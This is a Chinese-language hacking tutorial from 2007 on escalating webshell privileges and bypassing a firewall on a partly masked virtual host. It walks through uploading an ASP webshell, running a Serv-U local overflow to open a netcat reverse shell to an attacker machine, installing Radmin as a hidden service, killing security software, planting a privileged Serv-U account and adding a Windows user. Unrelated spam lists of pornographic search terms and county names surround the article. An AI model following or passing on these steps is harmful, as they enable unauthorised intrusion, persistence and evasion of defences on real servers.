最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Webshell是如何繞過(guò)防火墻提升權(quán)限的

 更新時(shí)間:2007年01月16日 00:00:00   作者:  
  本文講的重點(diǎn)是webshell權(quán)限的提升和繞過(guò)防火墻,高手勿笑。 
  廢話少說(shuō),咱們進(jìn)入正題。 
  首先確定一下目標(biāo):http://www.sun***.com ,常見(jiàn)的虛擬主機(jī)。利用Upfile的漏洞相信大家獲得webshell不難。我們這次獲得這個(gè)webshell,不是DVBBS,而是自由動(dòng)力3.6的軟件上傳過(guò)濾不嚴(yán)。網(wǎng)站http://www.sun***.com/lemon/Index.asp是自由動(dòng)力3.6文章系統(tǒng)。Xr運(yùn)用WinHex.exe和WSockExpert.exe上傳一個(gè)網(wǎng)頁(yè)木馬newmm.asp,用過(guò)動(dòng)鯊的door.exe的人都知道,這個(gè)是上傳asp木馬內(nèi)容的。于是,上傳海洋2005a,成功獲得webshell。 
  測(cè)試一下權(quán)限,在cmd里運(yùn)行set,獲得主機(jī)一些信息,系統(tǒng)盤是D盤,也說(shuō)明了我們的webshell有運(yùn)行權(quán)限的。那我們看看C盤有什么呢?難道是雙系統(tǒng)?瀏覽后發(fā)現(xiàn)沒(méi)有什么系統(tǒng)文件,只有一些垃圾文件。沒(méi)關(guān)系,再來(lái)檢查一下,虛擬主機(jī)都有serv-u的,這臺(tái)也不例外,是5.0.0.8的。 
  思路:上傳serv-u本地溢出文件srv.exe和nc.exe利用nc來(lái)反連接獲得系統(tǒng)shell。大家是不是發(fā)現(xiàn)海洋2005a那個(gè)上傳的組件不好用,沒(méi)關(guān)系,用rain改的一個(gè)無(wú)組件上傳,一共有3個(gè)文件,up.htm, upload.asp和uploadclass.asp。upload.asp和uploadclass.asp上傳到同一個(gè)文件夾,up.htm是本地用的,修改up.htm里的鏈接地址為:http://www.sun***.com/lemon/upload.asp就可以上傳了。 
  傳上了srv.exe和nc.exe在H:\long\sun***\lemon(網(wǎng)站目錄)后,發(fā)現(xiàn)沒(méi)有運(yùn)行權(quán)限。沒(méi)關(guān)系,根據(jù)經(jīng)驗(yàn),一般系統(tǒng)下D:\Documents and Settings\All Users\是應(yīng)該有運(yùn)行權(quán)限的。于是想把文件copy過(guò)去,但是發(fā)現(xiàn)我們的webshell沒(méi)有對(duì)D盤寫(xiě)的權(quán)限。 
  可以瀏覽D:\program files\serv-u\ServUDaemon.ini,不能改,難道要破解serv-u的密碼,不想。 
  不可以這么就泄氣了,我突然想到為什么系統(tǒng)不放在C盤了,難道C盤是FAT32分區(qū)的?這里說(shuō)一下,如果主機(jī)有win98的系統(tǒng)盤,那里99%是FAT32分區(qū)的。我們還遇到過(guò)裝有Ghost的主機(jī),為了方便在DOS下備份,它的備份盤一般都是FAT分區(qū)的。如果系統(tǒng)盤是FAT32分區(qū),則網(wǎng)站就沒(méi)有什么安全性可言了。雖然C盤不是系統(tǒng)盤,但是我們有執(zhí)行權(quán)限。呵呵,copy srv.exe和nc.exe到c:\,運(yùn)行 srv.exe "nc.exe –e cmd.exe 202.*.*.* 888",這里的202.*.*.*是我們的肉雞,在這之前我們已經(jīng)運(yùn)行了nc –l –p 888。 
  我們成功獲得一個(gè)系統(tǒng)shell連上。(看起來(lái)簡(jiǎn)單,其實(shí)這里我們也遇到過(guò)挫折,我們發(fā)現(xiàn)有些版本的nc居然沒(méi)有-e這個(gè)參數(shù),還以為全世界nc功能都一樣。后來(lái)又發(fā)現(xiàn)不同版本的nc互連不成功,會(huì)出現(xiàn)亂碼,沒(méi)辦法用。為此,上傳n次,錯(cuò)誤n次,傻了n次,后來(lái)終于成功了。做黑客還真得有耐心和恒心。) 
  高興之余,我們?nèi)圆粷M足,因?yàn)檫@個(gè)shell實(shí)在是太慢了。于是,想用我們最常用的Radmin,其實(shí)管理員一按Alt+Ctrl+Del,看進(jìn)程就能發(fā)現(xiàn)r_server了,但是還是喜歡用它,是因?yàn)椴粫?huì)被查殺。好了,上傳admdll.dll,raddrv.dll,r_server.exe到H:\long\sun***\lemon,再用剛才nc得到的shell把它們copy到d:\winnt\system32\下,分別運(yùn)行:r_server /install , net start r_server , r_server /pass:rain /save 。 
  一陣漫長(zhǎng)的等待,終于顯示成功了。興沖沖用radmin連上去,發(fā)現(xiàn)連接失敗。呵呵,忘了有防火墻了。上傳pslist和pskill上去,發(fā)現(xiàn)有backice,木馬克星等。Kill掉他們雖然可以登陸,但服務(wù)器重啟后還是不行,終不是長(zhǎng)久之計(jì)呀。防火墻是不防21,80等端口的,于是,我們的思路又回到了serv-u上了。把他的ServUDaemon.ini下載下來(lái),覆蓋本機(jī)的ServUDaemon.ini,在本機(jī)的serv-u上添加一個(gè)用戶名為xr,密碼為rain的系統(tǒng)帳號(hào),加上所有權(quán)限。再用老辦法,上傳,用shell寫(xiě)入D:\program files\serv-u\里,覆蓋掉原來(lái)的ServUDaemon.ini。雖然又等了n長(zhǎng)時(shí)間,但是成功了,于是用flashfxp連上,發(fā)生530錯(cuò)誤。郁悶,怎么又失敗了。(根據(jù)經(jīng)驗(yàn)這樣應(yīng)該就可以了,但為什么不行沒(méi)有想通,請(qǐng)高手指點(diǎn)。) 
  不管了,我們重啟serv-u就ok了,怎么重啟呢,開(kāi)始想用shutdown重啟系統(tǒng),但那樣我們就失去了nc這個(gè)shell,還可能被發(fā)現(xiàn)。后來(lái),眼睛一亮,我們不是有pskill嗎?剛才用pslist發(fā)現(xiàn)有這個(gè)進(jìn)程:ServUDaemon 。把它kill了。然后再運(yùn)行D:\program files\serv-u\ ServUAdmin.exe ,這里要注意不是ServUDaemon.exe 。 
  好了,到這里,我們直接ftp上去吧,ls一下,哈哈,系統(tǒng)盤在我的掌握下。我們能不能運(yùn)行系統(tǒng)命令呢?是可以的,這樣就可以: 
  ftp>quote site exec net user xr rain /add 
  在webshell上運(yùn)行net user,就可以看見(jiàn)添加成功了。 
  整個(gè)入侵滲透到這就結(jié)束了,在一陣后清理打掃后。我們就開(kāi)始討論了。其實(shí),突破防火墻有很多好的rootkit可以做到的,但是我們覺(jué)得系統(tǒng)自帶的服務(wù)才是最安全的后門。

相關(guān)文章

最新評(píng)論

日照市| 林西县| 临漳县| 汶川县| 鹤壁市| 修文县| 肇庆市| 关岭| 平果县| 湄潭县| 洪洞县| 竹北市| 方城县| 新巴尔虎左旗| 宾川县| 和硕县| 建始县| 宁南县| 千阳县| 明星| 冷水江市| 镇坪县| 台北县| 石台县| 盐亭县| 咸阳市| 会宁县| 紫阳县| 韩城市| 什邡市| 新源县| 改则县| 凤翔县| 顺昌县| 大名县| 祁连县| 德州市| 万全县| 三穗县| 天等县| 乐清市|